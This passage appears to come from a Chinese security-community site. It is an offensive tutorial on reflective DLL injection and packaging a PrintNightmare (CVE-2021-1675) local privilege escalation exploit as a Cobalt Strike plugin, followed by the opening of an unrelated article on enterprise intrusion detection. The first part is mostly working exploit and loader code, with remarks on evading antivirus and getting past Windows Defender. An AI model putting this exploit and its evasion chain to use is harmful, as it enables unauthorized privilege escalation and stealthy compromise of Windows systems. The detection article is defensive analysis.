// 直接复制PE头到需要展开DLL的内存空间
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
复制所有区段
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
// section区域在OptionHeader之后
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
// 获取区段数目
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
解析导入表,根据PE中IAT和INT来完成地址修正。
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
// 利用LoadLibrary API加载进内存 返回到地址
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
//INT导入表地址
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
// IAT导入表地址
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
// 根据INT序号进行导入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
// 填写IAT地址
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// 根据名称导入
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
// 通过pGetProcAddress 修正IAT
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
修正重定位表，正常来说像exe等可执行文件，32寻址可占据4g=2^2 _2^10_ 2^10 * 2^10
64位则高达2^34g，不过实际上用户空间32位只有2g,64位为8TB。(实际物理内存跟系统支持有关，这里是虚拟空间内存)，然后每个程序都可以独享一个这样的内存空间，随意分配地址。
程序编译时每个模块都有由链接器给出优先加载地址ImageBase，链接器生成的指令地址是在这个基础上的，对于EXE程序，拥有自己独立空间，不会被占用，而DLL动态链接库载入的地址可能被调用的应用程序占据，此时则需要进行重定位，DLL内部考虑这种情况，自身维护了一个重定位表。
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
// 获取到默认载入基址与真实载入地址差值
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
// 获取到重定位目录地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
// 获取重定位表地址
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
// 区块大小
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
// SizeOfBlock = IMAGE_BASE_RELOCATION + TypeOffset 从而获取到relocation block的数目
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
// 第一个项
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
// 根据类型来进行偏移修正
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
最后则是获取DLL的入口地址，去正常执行。
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
// 获取入口地址
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
// 刷新指令来应用我们重定位过后的指令
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
默认项目里面的预处理器定义了`REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR`,最终就会带上参数去执行DLLMain，其实这里设计有些许冗余，stub部分其实也被兼容的了。
### 0x2.3 小结
DLL反射加载技术是一种内存层面的自加载技术，理解起来还是比较容易的，但是实现过程需要大量的debug，所以很感谢前人所做的努力。
相比于常规的DLL注入，DLL反射加载注入，能够有效地实现隐藏模块进而躲避AV的作用，但是同样可以观察到，只要能够对`VirtualAlloc`进行用户层Hook，依然可以获取到完整的DLL进行特征匹配查杀，点到这里，那么过卡巴斯基的路子不言而喻。
## 0x3 Cobalt Strike 反射注入插件
众所周知，Cobalt
Strike的核心beacon.dll也是通过DLL反射进行加载的，身边有大佬已经对beacon.dll进行重写了，然后CS的一些扩展功能，比如键盘记录DLL，同样也是传递DLL进行反射加载调用的，也就是说Cobalt
Strike本身就内置了一个类似DLL反射加载注入器的模块。
得益于CS的高度自定义，其插件功能开放了这个模块的调用:[bdllspawn](https://www.cobaltstrike.com/aggressor-script/functions.html#bdllspawn)
文档说明如下:
> Spawn a Reflective DLL as a Beacon post-exploitation job.
> Arguments
> $1 - the id for the beacon. This may be an array or a single ID.
> $2 - the local path to the Reflective DLL
> $3 - a parameter to pass to the DLL
> $4 - a short description of this post exploitation job (shows up in jobs
> output)
> $5 - how long to block and wait for output (specified in milliseconds)
Note部分还介绍了这个功能会自动根据DLL的类型来派生对应的进程，需要在`DLL_PROCESS_ATTACH`case处编写代码，支持传入一个char指针类型的参数，然后输入输出使用STDOUT，用`fflush(stdout)`进行输出，关闭进程退出则使用`ExitProcess(0)`。
### 0x3.1 Demo插件编写
下载其他人的Example:
Stephen Fewer's Reflective DLL Injection Project
curl https://github.com/rxwx/cs-rdll-ipc-example/archive/refs/heads/main.zip -o main.zip
用visual stdio 2019打开,替换DLLMain.cpp为如下内容:
#include <stdio.h>
#include "ReflectiveLoader.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
/* print some output to the operator */
if (lpReserved != NULL) {
printf("Hello from test.dll. Parameter is '%s'\n", (char*)lpReserved);
}
else {
printf("Hello from test.dll. There is no parameter\n");
}
MessageBoxA(NULL, "Hello from beacon.exe", "Box", MB_OK);
/* flush STDOUT */
fflush(stdout);
/* we're done, so let's exit */
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
主要是注释了原来的功能，引用官方编写的更为简单直观地功能，主要是进行参数的输出，类似hellworld，选择release 64位编译DLL:
然后我们编写个简单的cna插件:
alias hello {
bdllspawn($1, script_resource("bin/ReflectiveDll.x64.dll"), $2, "test dll", 5000, false);
}
打包起来:
加载执行效果如下:
到此，我们已经能够在Cobalt Strike实现简单的DLL反射加载。
## 0x4 Printnightmare LPE 简析
当时选用Printnightmare作为提权，就想着了解下它的历史。
下面是自己根据收集的资料进行推断分析，担心起到误导作用，本节建议跳过不看，也欢迎师傅看过之后找我一起交流，尝试弄个1day的exp。
### 0X4.1 CVE-2021-1675
CVE-2021-1675-LPE 之所以能够成为我的选择，取决:
1.时效性强
2.利用简单(这个很重要)
3.全版本通杀
其中第三点
window server 从2008通杀到2009
window 从win7通杀到win10
[Windows Print Spooler Remote Code Execution
Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675)
这个洞本质是权限绕过,通过spoolsv.exe进程在RpcAddPrinterDriverEx接口传入第三个未在官方文档提及的flag参数0x00008000即可绕过权限验证。
函数说明: [AddPrinterDriverEx function](https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex)
> AddPrinterDriverEx 函数安装本地或远程打印机驱动程序并链接配置、数据和驱动程序文件
漏洞利用过程，则是低权限用户可将一个恶意的DLL文件作为驱动程序被加载。
>
> 虽然现在笔者用window，但是没有配ida，这里就没有过多去验证，主要是参考别人的成果。不过有趣的是，我查阅了`spoolsv.exe`很多历史漏洞，其中添加驱动爆出过多次问题，虽然具体成因不太一样。printnightmare这个洞利用手法并不复杂，属于逻辑问题，难一点的层面是逆向出整个流程，有时候发现洞并不意味着你理解洞的成因。
故为了避免误人子弟，这里主要从利用角度来说明EXP的实现代码
> [Windows Print Spooler 服务最新漏洞 CVE-2021-34527
> 详细分析](https://paper.seebug.org/1632/#internaladdprinterdriverex)
> 这篇文章展示EXP利用+调试过程，很好地说明了EXP参数的选用原因。
自写简单POC:
// LPE-Demo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <stdio.h>
// uncidoe
int wmain(int argc, wchar_t* argv[])
{
WCHAR payloadPath[MAX_PATH] = { 0 };
WCHAR driverPath[MAX_PATH] = { 0 };
if (argc < 2) {
printf("[*] Usage: LPE-Demo.exe driverPath payloadPath");
exit(0);
}
wsprintf(driverPath, L"%s", argv[1]);
wsprintf(payloadPath, L"%s", argv[2]);
printf("\n");
printf("driverPath: %ls\n", driverPath);
printf("payloadPath: %ls\n", payloadPath);
DRIVER_INFO_2 driverInfo;
driverInfo.cVersion = 3;
driverInfo.pDriverPath = driverPath;
driverInfo.pDataFile = payloadPath;
driverInfo.pConfigFile = payloadPath;
driverInfo.pEnvironment = NULL;
driverInfo.pName = (LPWSTR)L"demo";
DWORD addPrinter = AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);
if (addPrinter != 0) {
printf("[*] Success Done!\n");
}
else {
printf("[-] GetLastError: %d\n", GetLastError());
}
}
这里驱动路径要自己找个有效的打印机驱动，我这里用了系统自带的UNIDRV.DLL，这个文件在哪里获取，下面有说。
因为每个系统的UNIDRV存放文件路径不一致，Twiter和github有不少师傅分享了自动获取UNIDRV.DLL的[路径方法](https://gist.github.com/hlldz/6248cac6a719d0e2094be70a4261e18a)，做到了exp适配多个版本系统，因为影响的系统的`spoolsv.exe`大都是在64-bit运行的，所以你的payload.dll要对应到64位)。
wchar_t* findDLLPath() {
wchar_t targetDLLPath[MAX_PATH] = { 0 };
DWORD dwNeeded;
LPBYTE lpDriverInfo;
DWORD dwReturned;
DRIVER_INFO_2* pInfo;
DWORD i;
EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwNeeded, &dwReturned);
lpDriverInfo = (LPBYTE)LocalAlloc(LPTR, dwNeeded);
if (lpDriverInfo == NULL) {
return 0;
}
EnumPrinterDrivers(NULL, NULL, 2, lpDriverInfo, dwNeeded, &dwNeeded, &dwReturned);
pInfo = (DRIVER_INFO_2*)lpDriverInfo;
for (i = 0; i < dwReturned; i++) {
if (wcsstr(pInfo->pDriverPath, L"ntprint.inf_amd64")) {
wchar_t tempDrive1[_MAX_DRIVE] = { 0 };
wchar_t tempDirectory1[_MAX_DIR] = { 0 };
wchar_t tempFileName1[_MAX_FNAME] = { 0 };
wchar_t tempFileExtension1[_MAX_EXT] = { 0 };
_wsplitpath_s(pInfo->pDriverPath, &tempDrive1[0], _MAX_DRIVE, &tempDirectory1[0], _MAX_DIR, &tempFileName1[0], _MAX_FNAME, &tempFileExtension1[0], _MAX_EXT);
wchar_t* targetDLLName = (LPWSTR)L"UNIDRV.DLL";
wcscat_s(targetDLLPath, MAX_PATH, tempDrive1);
wcscat_s(targetDLLPath, MAX_PATH, tempDirectory1);
wcscat_s(targetDLLPath, MAX_PATH, targetDLLName);
// 这个需要参考
if (fileExists(targetDLLPath)) {
LocalFree(lpDriverInfo);
return targetDLLPath;
}
}
pInfo++;
}
LocalFree(lpDriverInfo);
}
### 0x4.2 CVE-2021-34527
了解这个洞，能够使笔者对printnight有更深的认识。
CVE-2021-1675 漏洞点发生在`RpcAddPrinterDriver`
但是观察上面的POC可以发现，我们是通过`AddPrinterDriverExW`来调用
我们细读文档,函数的第一个参数:
> pName
> A pointer to a null-terminated string that specifies the name of the server
> on which the driver should be installed. If this parameter is NULL, the
> function installs the driver on the local computer.
> 可以发现这里可以指定一个server的名称，为空的话，则代表安装到本地
>
> 根据腾讯给出的公告，1675调用的漏洞链是:AddPrinterDriverExW->RpcAddPrinterDriver，但是这个过程没给出具体分析。
网上很多文章都说CVE-2021-34527漏洞点发生在`RpcAsyncAddPrinterDriver`
笔者去查阅了[漏洞官方通告](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527)并感谢两个大佬(原作者)。
然后又去翻`Zhiniang Peng (@edwardzpeng) & Xuefeng Li
(@lxf02942370)`最初发的POC，公布原因：两位大佬以为自己撞洞。
<https://github.com/numanturle/PrintNightmare>
是不是看完很迷惑，笔者到这里已经自闭，但仍然坚持进行信息检索。
翻了下twitter的时间线:
当时有人测试出了CVE-2021-1675,在DC环境是可以成功的，还有具体的图,说明只是修补了本地的洞。
其中官方信息提到[CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675)关于win2019 这个洞的补丁是KB5003646，如图所示，但exp依然打成功了。
后继续翻@gentilkiwi的twitter 也发现了很多有趣的探讨和利用，等待后续的深入研究。
### 0x4.3 小结
有趣的是，除了这两个CVE-2021-1675、CVE-2021-34527
被广泛分析之外，未披露POC的有CVE-2021-34481、CVE-2021-36958，猜测是通过寻找新的[端点](https://github.com/SigmaHQ/sigma/blob/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml)绕过权限验证来RCE。
笔者对这个漏洞的前世今生很感兴趣，因为目前环境并不允许，也与本文主题关系不大，所以就此作罢，后面会对这个漏洞进行学习和实操分析，梳理好这个时间线。
## 0x5 EXP->CS插件
前人的肩膀:[CVE-2021-1675-LPE](https://github.com/hlldz/CVE-2021-1675-LPE)
这里利用的是CVE-2021-1675，直接设置server那么为空，来本地加载驱动。
目标:
1) 可作为提权模块，成为`elevate`的一个子项
2) 添加到命令行，指定加载DLL文件
部分代码如下:
#include "ReflectiveLoader.h"
extern HINSTANCE hAppInstance;
#include <stdlib.h>
#include <stdio.h>
#include <Winspool.h>
#include <string>
wchar_t* charTowchar(char* str) {
int iSize = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
wchar_t* convertStr = (wchar_t *)malloc(iSize * sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, str, -1, convertStr, iSize);
return convertStr;
}
int fileExists(wchar_t* file) {
WIN32_FIND_DATA FindFileData;
HANDLE handle = FindFirstFileW(file, &FindFileData);
int found = handle != INVALID_HANDLE_VALUE;
if (found) {
FindClose(handle);
}
return found;
}
wchar_t* findDLLPath() {
wchar_t targetDLLPath[MAX_PATH] = { 0 };
DWORD dwNeeded;
LPBYTE lpDriverInfo;
DWORD dwReturned;
DRIVER_INFO_2* pInfo;
DWORD i;
EnumPrinterDriversW(NULL, NULL, 2, NULL, 0, &dwNeeded, &dwReturned);
lpDriverInfo = (LPBYTE)LocalAlloc(LPTR, dwNeeded);
if (lpDriverInfo == NULL) {
return 0;
}
EnumPrinterDrivers(NULL, NULL, 2, lpDriverInfo, dwNeeded, &dwNeeded, &dwReturned);
pInfo = (DRIVER_INFO_2*)lpDriverInfo;
for (i = 0; i < dwReturned; i++) {
if (wcsstr(pInfo->pDriverPath, L"ntprint.inf_amd64")) {
wchar_t tempDrive1[_MAX_DRIVE] = { 0 };
wchar_t tempDirectory1[_MAX_DIR] = { 0 };
wchar_t tempFileName1[_MAX_FNAME] = { 0 };
wchar_t tempFileExtension1[_MAX_EXT] = { 0 };
_wsplitpath_s(pInfo->pDriverPath, &tempDrive1[0], _MAX_DRIVE, &tempDirectory1[0], _MAX_DIR, &tempFileName1[0], _MAX_FNAME, &tempFileExtension1[0], _MAX_EXT);
wchar_t* targetDLLName = (LPWSTR)L"UNIDRV.DLL";
wcscat_s(targetDLLPath, MAX_PATH, tempDrive1);
wcscat_s(targetDLLPath, MAX_PATH, tempDirectory1);
wcscat_s(targetDLLPath, MAX_PATH, targetDLLName);
if (fileExists(targetDLLPath)) {
LocalFree(lpDriverInfo);
return targetDLLPath;
}
}
pInfo++;
}
LocalFree(lpDriverInfo);
}
int CVE_2021_1675_LPE(wchar_t* pthDll) {
printf("\n[*] CVE-2021-1675 LPE Exploit\n");
printf("[*] Modified by: xq17 \n");
printf("[*] Code Reference: Halil Dalabasmaz (@hlldz) \n");
WCHAR payloadPath[MAX_PATH] = { 0 };
WCHAR targetDLLPath[MAX_PATH] = { 0 };
wsprintf(payloadPath, L"%s", pthDll);
wsprintf(targetDLLPath, L"%ls", findDLLPath());
printf("\npayloadPath: %ls\n", payloadPath);
printf("targetDLLPath: %ls\n\n" ,targetDLLPath);
DRIVER_INFO_2 driverInfo;
driverInfo.cVersion = 3;
driverInfo.pConfigFile = payloadPath;
//driverInfo.pDataFile = (LPWSTR)L"C:\\Windows\\System32\\kernel32.dll";
driverInfo.pDataFile = payloadPath;
driverInfo.pDriverPath = targetDLLPath;
driverInfo.pEnvironment = NULL;
driverInfo.pName = (LPWSTR)L"SunKorean";
DWORD addPrinter = AddPrinterDriverExW(NULL, 2, (PBYTE)&driverInfo, APD_COPY_ALL_FILES | 0x10 | 0x8000);
if(addPrinter){
printf("[*] AddPrinterDriverExW Ok, done!\n");
}
else {
printf("[-] AddPrinterDriverExW Error, failed!\n");
}
printf("[*] All done. GetLastError: %d\n", GetLastError());
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
/* print some output to the operator */
if (strlen((char *)lpReserved) > 0){
CVE_2021_1675_LPE(charTowchar((char *)lpReserved));
}
else {
printf("Error, No Paramter!\n");
}
/* flush STDOUT */
fflush(stdout);
/* we're done, so let's exit */
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
编译之前记得处理下预处理器:
NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions)
因为这个洞是利用DLL加载来实现LPE的，所以你的利用DLL必须要支持过静态查杀(比较简单)
经过测试，能过window server的window defender，但360会拦截spoolsv进程加载未签名的驱动(可疑程序拦截)。
项目地址:
<https://github.com/mstxq17/CVE-2021-1675_RDL_LPE>
## 0x6 总结
本文是偏应用实践类型的文章，其中笔者把日常渗透的一个小场景需求作为出发点，通过对比学习DLL的两种注入手段，理解了Cobalt
Strike的DLL反射加载原理，接下来通过简单分析学习PrintNightMare漏洞后，用CS的插件实现在内存层面利用漏洞，从而躲避AV查杀，完成提权需求。
## 0x7 参考链接
[反射Dll注入分析](https://www.cnblogs.com/lsh123/p/7806811.html)
[内存加载DLL](https://www.write-bug.com/article/1961.html)
[PEB及LDR链](https://www.cnblogs.com/gd-luojialin/p/11862767.html)
[重定位表](https://www.cnblogs.com/lsh123/p/7755187.html)
[[原创]一篇文章带你了解Dll注入](https://bbs.pediy.com/thread-253918.htm)
[[原创]恶意代码分析之反射型DLL注入](https://bbs.pediy.com/thread-260235.htm)
[Windows PrintNightmare
漏洞和补丁分析](https://mp.weixin.qq.com/s/AhumHYAV-_0DrJ47hC25EA)
[CVE-2021-1675 漏洞及利用分析](https://paper.seebug.org/1635/)
[PrintNightmare (CVE-2021-1675) Local Privilege
Escalation](https://synawk.com/blog/printnightmare-cve-2021-1675)
[Windows Print Spooler 服务最新漏洞 CVE-2021-34527
详细分析](https://paper.seebug.org/1632/#validatedriverinfo)
[New Windows print spooler zero day exploitable via remote print
servers](https://www.bleepingcomputer.com/news/microsoft/new-windows-print-spooler-zero-day-exploitable-via-remote-print-servers/)
[Reflective DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection) | 社区文章 |
## 前言
如何知道自己所在的企业是否被入侵了？是没人来“黑”，还是因自身感知能力不足，暂时还无法发现？其实，入侵检测是每一个大型互联网企业都要面对的严峻挑战。价值越高的公司，面临入侵的威胁也越大，即便是Yahoo这样的互联网鼻祖，在落幕（被收购）时仍遭遇全量数据失窃的事情。安全无小事，一旦互联网公司被成功“入侵”，其后果将不堪想象。
基于“攻防对抗”的考量，本文不会提及具体的入侵检测模型、算法和策略，那些希望直接照搬“入侵策略”的同学可能会感到失望。但是我们会将一部分运营思路分享出来，请各位同行指点，如能对后来者起到帮助的作用，那就更好了，也欢迎大家跟我们交流探讨。
## 入侵的定义
典型的入侵场景：
>
> 黑客在很远的地方，通过网络远程控制目标的笔记本电脑/手机/服务器/网络设备，进而随意地读取目标的隐私数据，又或者使用目标系统上的功能，包括但不限于使用手机的麦克风监听目标，使用摄像头偷窥监控目标，使用目标设备的计算能力挖矿，使用目标设备的网络能力发动DDoS攻击等等。亦或是破解了一个服务的密码，进去查看敏感资料、控制门禁/红绿灯。以上这些都属于经典的入侵场景。
我们可以给入侵下一个定义：就是黑客在未经授权的情况下，控制、使用我方资源（包括但不限于读写数据、执行命令、控制资源等）达到各种目的。从广义上讲，黑客利用SQL注入漏洞窃取数据，或者拿到了目标域名在ISP中的帐号密码，以篡改DNS指向一个黑页，又或者找到了目标的社交帐号，在微博/QQ/邮箱上，对虚拟资产进行非授权的控制，都属于入侵的范畴。
## 针对企业的入侵检测
企业入侵检测的范围，多数情况下比较狭义：一般特指黑客对PC、系统、服务器、网络（包括办公网、生产网）控制的行为。
黑客对PC、服务器等主机资产的控制，最常见的方法是通过Shell去执行指令，获得Shell的这个动作叫做GetShell。
比如通过Web服务的上传漏洞，拿到WebShell，或者利用RCE漏洞直接执行命令/代码（RCE环境变相的提供了一个Shell）。另外，通过某种方式先植入“木马后门”，后续直接利用木马集成的SHELL功能对目标远程控制，这个也比较典型。
因此，入侵检测可以重点关注GetShell这个动作，以及GetShell成功之后的恶意行为（为了扩大战果，黑客多半会利用Shell进行探测、翻找窃取、横向移动攻击其它内部目标，这些区别于好人的特性也可以作为重要的特征）。
有一些同行（包括商业产品），喜欢报告GetShell之前的一些“外部扫描、攻击探测和尝试行为”，并美其名曰“态势感知”，告诉企业有人正在“试图攻击”。在笔者看来，实战价值并不大。包括美团在内的很多企业，基本上无时无刻都在遭受“不明身份”的攻击，知道了有人在“尝试”攻击，如果并不能有效地去行动，无法有效地对行动进行告警，除了耗费心力之外，并没有太大的实际价值。
当我们习惯“攻击”是常态之后，就会在这样的常态下去解决问题，可以使用什么加固策略，哪些可以实现常态化的运营，如果有什么策略无法常态化运营，比如需要很多人加班临时突击守着，那这个策略多半在不久之后就会逐渐消逝掉。跟我们做不做这个策略，并没有本质上的区别。
类似于SQL注入、XSS等一些不直接GetShell的Web攻击，暂时不在狭义的“入侵检测”考虑范围，建议可以划入“漏洞”、“威胁感知”等领域，另行再做探讨。当然，利用SQL注入、XSS等入口，进行了GetShell操作的，我们仍抓GetShell这个关键点，不必在乎漏洞入口在何处。
## “入侵”和“内鬼”
与入侵接近的一种场景是“内鬼”。入侵本身是手段，GetShell只是起点，黑客GetShell的目标是为了之后对资源的控制和数据的窃取。而“内鬼”天然拥有合法的权限，可以合法接触敏感资产，但是基于工作以外的目的，他们对这些资源进行非法的处置，包括拷贝副本、转移外泄、篡改数据牟利等。
内鬼的行为不在“入侵检测”的范畴，一般从内部风险控制的视角进行管理和审计，比如职责分离、双人审计等。也有数据防泄密产品（DLP）对其进行辅助，这里不展开细说。
有时候，黑客知道员工A有权限接触目标资产，便定向攻击A，再利用A的权限把数据窃取走，也定性为“入侵”。毕竟A不是主观恶意的“内鬼”。如果不能在黑客攻击A的那一刻捕获，或者无法区分黑客控制的A窃取数据和正常员工A的访问数据，那这个入侵检测也是失败的。
## 入侵检测的本质
前文已经讲过，入侵就是黑客可以不经过我们的同意，来操作我们的资产，在手段上并没有任何的限制。那么如何找出入侵行为和合法正常行为的区别，将其跟合法行为进行分开，就是“入侵发现”。在算法模型上，这算是一个标记问题（入侵、非入侵）。
可惜的是，入侵这种动作的“黑”样本特别稀少，想通过大量的带标签的数据，有监督的训练入侵检测模型，找出入侵的规律比较难。因此，入侵检测策略开发人员，往往需要投入大量的时间，去提炼更精准的表达模型，或者花更多的精力去构造“类似入侵”的模拟数据。
一个经典的例子是，为了检测出WebShell，安全从业人员可以去GitHub上搜索一些公开的WebShell样本，数量大约不到1000个。而对于机器学习动辄百万级的训练需求，这些数据远远不够。况且GitHub上的这些样本集，从技术手法上来看，有单一技术手法生成的大量类似样本，也有一些对抗的手法样本缺失。因此，这样的训练，试图让AI去通过“大量的样本”掌握WebShell的特征并区分出它们，原则上不太可能完美地去实现。
此时，针对已知样本做技术分类，提炼更精准的表达模型，被称为传统的特征工程。而传统的特征工程往往被视为效率低下的重复劳动，但效果往往比较稳定，毕竟加一个技术特征就可以稳定发现一类WebShell。而构造大量的恶意样本，虽然有机器学习、AI等光环加持，但在实际环境中往往难以获得成功：自动生成的样本很难描述WebShell本来的含义，多半描述的是自动生成的算法特征。
